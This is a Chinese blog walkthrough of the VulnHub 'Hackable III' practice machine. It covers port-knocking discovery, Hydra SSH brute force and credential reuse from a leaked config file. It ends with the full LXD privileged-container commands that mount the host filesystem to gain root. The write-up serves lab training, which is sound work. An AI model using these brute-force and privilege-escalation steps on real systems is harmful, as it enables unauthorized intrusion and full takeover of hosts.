靶机渗透练习16-Hackable III

靶机描述

靶机地址:https://www.vulnhub.com/entry/hackable-iii,720/

Description

Focus on general concepts about CTF

Difficulty: Medium

This works better with VirtualBox rather than VMware.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.8

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

忘截图了,这里扫出来的ip为192.168.9.8

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220112155809832

22端口的状态时 filtered (被过滤的,不能确定是否开放)

开放了80端口

2.1.3 尝试访问靶机网页

image-20220112155731194

2.2枚举漏洞

2.1.1 80 端口分析

访问 80 端口

image-20220112155731194

查看页面源代码

image-20220112155950177

发现登陆页面,还有一串注释内容为

<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

image-20220112160046480

根据翻译来看,用户名可能是:jubiscleudo,需要激活一个端口(22 号),看起来和一个.jpg 文件有关

端口敲门(端口碰撞)技术是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打
开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以
允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口
又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。
我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。

image-20220112160222332

输入任意用户名和密码,点击“Login”,连续试了几个账户密码,均跳转到login.php

image-20220112160259705

右键查看源代码得到

image-20220112160532987

<?php
include('config.php');

$usuario = $_POST['user'];
$senha = $_POST['pass'];

$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";  

$result = mysqli_query($conexao, $query);

$row = mysqli_num_rows($result);


#validação conta
if($row == 1) {
	$_SESSION['usuario'] = $usuario;
	header('Location: 3.jpg');  //重定向到3.jpg
	exit();
} else {
	$_SESSION['nao_autenticado'] = true;
	header('Location: login_page/login.html');
	exit();
}


?>

根据代码内容,我们访问一下http://192.168.9.8/3.jpg

image-20220112160620332

下载该图片

尝试使用 exiftool 工具解析图片,没有发现异常,似乎就是个普通的图片

安装命令:apt install libimage-exiftool-perl

image-20220112160832977

尝试隐写工具steghide查看图片,看看有没有信息
image-20220112160942989

里边貌似藏着一个txt文件

释放图片中的隐写内容:steghide extract -sf 3.jpg

image-20220112161052280

发现一个端口信息:65535
目录扫描:dirb http://192.168.9.8/

可以发现一些目录:

http://192.168.9.8/backup/

http://192.168.9.8/config/

http://192.168.9.8/css/

http://192.168.9.8/imagens/

http://192.168.9.8/robots.txt

查看 URL:http://192.168.9.8/backup/

image-20220112161241841

这不是一个字典嘛,将文件另保存到本地

查看 URL:http://192.168.9.8/config/

image-20220112161433845

这应该是个base加密的字符串MTAwMDA=,解密后得到10000,看起来像一个端口

image-20220112161549390

查看 URL:http://192.168.9.8/css/

image-20220112161620547

里边有两个文件内容分别是

2.txt

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....

尝试识别算法:https://www.dcode.fr/cipher-identifier

image-20220112161821892

image-20220112161858477

解密后得到4444,看起来像一个端口

file.css

/*
html {
  position:fixed;
  width:100%;
  height:100%;
}
*/

body {
    background-image: url("../imagens/background2.jpg");
    background-repeat: no-repeat;
    background-size: cover;
    background-attachment: fixed;
}


#menu ul li { display: inline; }

/* MENU */

/* resetando a fonte */
body{
    font-family: 'RocknRoll One', sans-serif;
   }
   
   /* estilizando a div orverlay */
.overlay {
    height: 100vh; /* deixando o overlay 100% na vertical */
    width: 0;
    position: fixed;
    top: 0;
    left: 0;
    background-color: rgba(0,0,0,.6);
    opacity: 0; /*iniciando opacidade em 0 */
    transition: opacity 1s;
   }
   
   /* estilizando o botão abrir menu */
.menu-open{
    background: transparent;
   }
   
   /* estilizando o botão fechar menu */
.menu a.menu-close {
    padding: -10px 0 10px 20px;
    color: white;
    display: block;
    margin: -10px 0 30px -20px;
    font-size: 50px;
    text-decoration: none;
   }
   
   /* estilizando o menu em si */
.menu {
    overflow: hidden;
    background: rgba(0,0,0,.95);
    padding: 10px 0 0 40px;
    position: fixed;
    top: 0;
    right: -290px; /*iniciando o menu com menos 290px para fora do browser*/
    height: 100%;
    z-index: 2;
    transition: 1s;
    width: 250px;
   }
   
   /* estilizando o menu + ul */
.menu ul{
    list-style: none;
    padding: 0;
    margin: -25px;
    overflow-y: auto;
    width: 500px;
    height: 95%;

   }
   
   /* estilizando o menu + ul li + a */
.menu ul li a {
    display: block;
    border-bottom: 0 #131313;
    padding: 6px 4px 6px 4px;
    color:white;
    transition: 1s;
    text-decoration: none;

   }

没啥东西

查看URL:http://192.168.9.8/imagens/

image-20220112162049235

查看URL:http://192.168.9.8/robots.txt

image-20220112162144639

看完了总结一下端口信息:4444 10000 65535

在kali中执行如下命令:

1) 使用4444 10000 65535队列号敲门登录:

nmap -p 4444 192.168.9.8
nmap -p 10000 192.168.9.8
nmap -p 65535 192.168.9.8

因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:

for x in  4444 10000 65535;do nmap -p $x 192.168.9.8;done

image-20220112162911424

失败,,,应该是我敲门顺序出错了

经过多次尝试,得到敲门顺序为10000 4444 65535

for x in 10000 4444 65535;do nmap -p $x 192.168.9.8;done

image-20220112170325626

image-20220112170202475

扩展

这里搞一个新工具knock玩玩(重新导入靶机)

使用 knock 工具尝试端口敲门,下载后,运行以下命令进行安装

└─$ tar -zxvf  knock-once-1.2.tar.gz 
└─$ cd knock-once-1.2                                               
☁  knock-once-1.2   install -D -m755 knock-once /usr/bin/knock-once
☁  knock-once-1.2   install -D -m644 knock-once.1.gz /usr/share/man/man1/knock-once.1.gz

knock 命令参数:knock IP PORT1 PORT2 PORT3...
利用上述得到的三个端口吗,进行敲门:knock 192.168.9.8 10000 4444 65535

image-20220112164246072

2.3漏洞利用

2.3.1 使用 hydra 对 SSH 暴力破解 getshell

前面获取到的用户名:jubiscleudo
字典文件:wordlist.txt

hydra -l jubiscleudo -P wordlist.txt ssh://192.168.9.8

image-20220112171519829

破解成功:jubiscleudo/onlymy
登陆 ssh:ssh jubiscleudo@192.168.9.8

image-20220112171636601

2.3.2 信息收集获取 shell

查看 home 目录,有两个用户,hackable_3没有权限

jubiscleudo目录下发现 flag

image-20220112172844641

查看网站根目录:发现一个隐藏的备份配置文件

image-20220112172926572

查看内容

jubiscleudo@ubuntu20:/var/www/html$ cat .backup_config.php 
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'hackable_3');
define('DB_PASSWORD', 'TrOLLED_3');
define('DB_NAME', 'hackable');
 
/* Attempt to connect to MySQL database */
$conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);


// Check connection
if($conexao === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());
} else {
}
?>

貌似看到了DB账户密码hackable_3/TrOLLED_3

而这个hackable_3与 Home 下的一个用户名一致,尝试切换 shell:su hackable_3

image-20220112174010181

成功切换

2.4权限提升

执行命令:id

hackable_3@ubuntu20:/var/www/html$ id
uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

可以看到在一个组中 lxd(lxd 和 docker 一样,是一种容器)

lxd 提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件
查看当前系统中的镜像:lxc image list

image-20220112174531418

提权命令:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
使用链接中的第二种方法:

终端输入cd /tmp

git clone https://github.com/saghul/lxd-alpine-builder/这个直接clone会因为网络原因无法clone,我们换个方法搞到靶机里边去,这里我们先本地下载好,然后通过python建服务传

☁  html  python -m SimpleHTTPServer 8888
Serving HTTP on 0.0.0.0 port 8888 ...
192.168.9.8 - - [12/Jan/2022 18:04:55] "GET /lxd-alpine-builder-master.zip HTTP/1.1" 200 -

image-20220112180514255

解压zip,发现没unzip命令,咱们换成tar压缩包

image-20220112180617864

image-20220112213503259

解压tar文件,得到

image-20220112213759265

sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

按步骤执行命令即可,只需注入 lxd init 命令第一个需要输入 yes 即可
全部操作完,就会进入一个 root 命令行,其实是容器的,我们创建的容器映射了真实系统
的/root 目录

image-20220112214123718

成功提权,访问/mnt/root/root ,获取 flag 成功

image-20220112214343829

总结

本节使用的工具和漏洞难度中等,有点 CTF 的感觉,适合打过 CTF 的童鞋

  1. 信息收集(查看源码,目录扫描)
  2. 算法解密(bash64,Brainfuck)
  3. 端口敲门技术(nmap,knock 的使用)
  4. hydra 暴力破解 SSH
  5. 信息收集获取密码
  6. lxd 提权(容器提权思路)
posted @ 2022-04-02 14:31  hirak0  阅读(195)  评论(0编辑  收藏  举报